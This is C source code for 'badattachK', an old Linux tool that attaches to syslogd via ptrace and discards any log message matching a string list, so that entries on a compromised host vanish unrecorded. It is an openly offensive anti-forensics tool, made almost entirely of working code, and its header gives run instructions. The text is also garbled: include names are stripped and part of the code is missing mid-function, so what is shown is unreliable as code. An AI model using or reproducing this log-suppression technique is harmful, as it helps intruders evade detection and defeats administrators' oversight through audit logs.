/* * badattachK version 0.3r2 for linux x86 * by Matias Sedalo * * MAN in THE MIDDLE of syslogd ****************************** * badattachK analyze the messages logs sent from any application to syslog daemon, * it verifies if any strings into the list (string.list) is in the message; in this case, * badattach cleans the buffer and inform to syslogd that no message was received. * * This happens in this way: * * The select one awakes with a message remote(recvfrom) or local(recv): * * /---------\ -> recv() SOCK_UNIX......\ * | select | > eax == 0 * \---------/ -> recvfrom() SOCK_INET../ * * The return value of any of these two functions is the only test that a message was received, * therefore when changing this value, the syslogd understands that any message has not been received. * Then badattachK will intercept the remote(syslogd -r) and local messages. * * badattachK will finish when finding the string declared in the CANARY variable, * for default "SH3llC0d3" is defined. * * Compile for debuggers ************************ * gcc -Wall -D__DEBUG -o badattachK badattachK.c * * Run ***** * # ./badattachK `ps -fe | grep syslogd | awk '{print $2}'` * * TODO * - Remove the argument and search the proccess of syslogd. * - Reconnect when the service of syslogd is reinitiated. * - SIGNALS. * * * NOTE: Best viewed with tabstop=4 * * (c)1999-2004 Shellcode Research * http://www.shellcode.com.ar * */ #include #include // atoi() calloc() #include // #include // getuid() #include // sys_ptrace() #include // user_regs_struct #include // va_list #include // sys_waitpid() #include // #include // syscalls #include // isascii() #include /* from /usr/include/linux/net.h*/ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ /* */ #define NAME "badattachK" #define VERSION "0.3r2" #define AUTHOR "Matias Sedalo " #define CANARY "SH3llC0d3" #define FILE_LIST "string.list" #define MAXLINE 512 #define ASCIIZ(c) ( (iscntrl(c) == 0) ? c : 0x2e ) /* mensajes de error y salida */ void errorf(const char *fmt, ...) { va_list ap; va_start(ap, fmt); #ifdef __DEBUG vfprintf(stdout, fmt, ap); #endif va_end(ap); exit(-2); } long peek(pid_t ppid, void *preg) { return (ptrace(PTRACE_PEEKDATA, ppid, preg, 0)); } long poke(pid_t ppid, void *preg, void *data) { return (ptrace(PTRACE_POKEDATA, ppid, preg, data)); } /* BuffZero completa con 'count' zeros el buffer representado * por la direccion en reg_buff */ void BuffZero(pid_t p, long count, u_long reg_buff) { int i; u_long dat=0; for (i=0; i 0 ) BuffZero(p, count, reg_buff); free(d); return c; } void traceloop(pid_t pid, FILE *fdfile) { struct user_regs_struct regs; int RECVFROM, BOOL=0; while (BOOL != -1) { RECVFROM = 0; if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) errorf("PTRACE_SYSCALL on pid %d\n", pid); waitpid(pid, NULL, 0); if ( (ptrace(PTRACE_GETREGS, pid, 0, ®s)) != 0) errorf("PTRACE_GETREGS on pid %d\n", pid); switch (regs.orig_eax) // syscall { /* el syslog utiliza SOCK_UNIX sobre /dev/log para recibir los evento * vamos a tener el siguiente flujo en el syslog: * 1.select() <- una interrupcion sobre cualquier SOCK_* * 2.recv() o recvfrom() <- recibimos el mensaje via SOCK_* * - Nos acoplamos para buscar el string en el buffer de recv() o recvfrom() * - En eax tengo la cantidad de bytes recibidos. * ... * 3.sys_writev() <- Escribir los logs solo si eax > 0 */ case __NR_socketcall: #ifdef __DEBUG printf("\n + SYS_socketcall:"); #endif /* ebx definira cual de las clases utilizara */ switch (regs.ebx) { case SYS_RECVFROM: RECVFROM = 1; case SYS_RECV: if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) errorf("PTRACE_SYSCALL on pid %d\n", pid); waitpid(pid, NULL, 0); if ( (ptrace(PTRACE_GETREGS, pid, 0, ®s)) != 0) errorf("PTRACE_GETREGS on pid %d\n", pid); #ifdef __DEBUG /* Segun parece algunos syslog trabajan internamente diferente segun la version * del kernel y otros parches, lo que se supone no deberia de trabajar diferente * son las funciones recv() y recvfrom(). Por lo tanto en ecx estara la direccion * de memoria que completara los argumentos de la funcion */ if ( RECVFROM == 1 ) { printf("recvfrom(%li, 0x%08lx, %li, %li, 0x%08lx, 0x%08lx", peek(pid, (void *)(regs.ecx)), // socket Filedescriptor (int) peek(pid, (void *)(regs.ecx+4)), // buffer pointer (void *) peek(pid, (void *)(regs.ecx+8)), // lenght (size_t) peek(pid, (void *)(regs.ecx+12)), // flags (int) peek(pid, (void *)(regs.ecx+16)), // struct sockaddr * peek(pid, (void *)(regs.ecx+20))); // socklen_t * } else { printf("recv(%li, 0x%08lx, %li, %li", peek(pid, (void *)(regs.ecx)), // socket Filedescriptor (int) peek(pid, (void *)(regs.ecx+4)), // buffer pointer (void *) peek(pid, (void *)(regs.ecx+8)), // lenght (size_t) peek(pid, (void *)(regs.ecx+12))); // flags (int) } printf(") == %li bytes\n", regs.eax); /* Descomentar esta linea para mas debugging */ // (void )Debugging(pid, regs.eax, peek(pid, (void *)(regs.ecx+4))); #endif /* evitemos kilombo */ if ( peek(pid, (void *)(regs.ecx+4)) != 0 && regs.eax > 0 ) /* Buscamos la lista de strings */ if ( (BOOL = SearchStr(pid, regs.eax, peek(pid, (void *)(regs.ecx+4)), fdfile)) > 0 || BOOL == -1 ) { /* al dejar eax en 0 las intrucciones siguientes al recv() o recvfrom() * interpretan que no se ha recibido ningun dato, por lo tanto * el syslogd no intentara hacer un writev() a los archivos de log */ regs.eax = 0; #ifdef __DEBUG printf("\t- Discarding log line received\n"); #endif if ( (ptrace(PTRACE_SETREGS, pid, 0, ®s)) != 0) errorf("PTRACE_SETREGS on pid %d\n", pid); } break; default: printf("what type??"); break; } break; case __NR_writev: /* Esto es solo a modo informativo para que pueda verse * el comportamiento normal de escritura de eventos */ #ifdef __DEBUG printf(" + SYS_writev: writev(%li, 0x%08lx, %li)", regs.ebx, // Filedescriptor (int) regs.ecx, // const struct iovec *vector regs.edx); // count (int) #endif if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) errorf("PTRACE_SYSCALL on pid %d\n", pid); waitpid(pid, NULL, 0); if ( (ptrace(PTRACE_GETREGS, pid, 0, ®s)) != 0) errorf("PTRACE_GETREGS on pid %d\n", pid); #ifdef __DEBUG printf(" == %li bytes\n",regs.eax); #endif break; default: // nothing to do break; } } } int main(int argc, char *argv[]) { pid_t syslog; int dad, p; FILE *fd; if (argc < 2) { printf("(c)2004 %s Version %s by %s\n", NAME, VERSION, AUTHOR); printf("Use: %s \n", argv[0]); exit(1); } else // TODO: Eliminar el argumento y rastrear el proceso de syslog // acoplandose y reacoplandose cuando sea reiniciado. syslog = atoi(argv[1]); if ( getuid() != 0 ) { printf("You must be root to execute this tool\n"); exit(-2); } #ifndef __DEBUG if ( (dad = fork()) == -1 ) errorf("Can't fork\n"); if ( dad == 0 ) { #endif /* nos acoplamos al proceso de syslog */ if ( (p = ptrace(PTRACE_ATTACH, syslog, 0, 0)) != 0) errorf("PTRACH_ATTACH on pid %d failed\n", syslog); #ifdef __DEBUG printf("* syslogd on pid %d atached\n", syslog); #endif if ( (fd = fopen(FILE_LIST, "r")) == NULL ) errorf("Can't open %s file\n", FILE_LIST); (void)traceloop(syslog, fd); /* nos vamos */ if ( (p = ptrace(PTRACE_DETACH, syslog, 0, 0)) != 0) errorf("PTRACH_DETACH on pid %d failed\n", syslog); fclose(fd); #ifdef __DEBUG printf("\n* detach pid\n"); printf(" * Thankz to enjoy this tool\n * 100%%Free Hemp **\n"); #else } #endif exit(0); } //_EOF_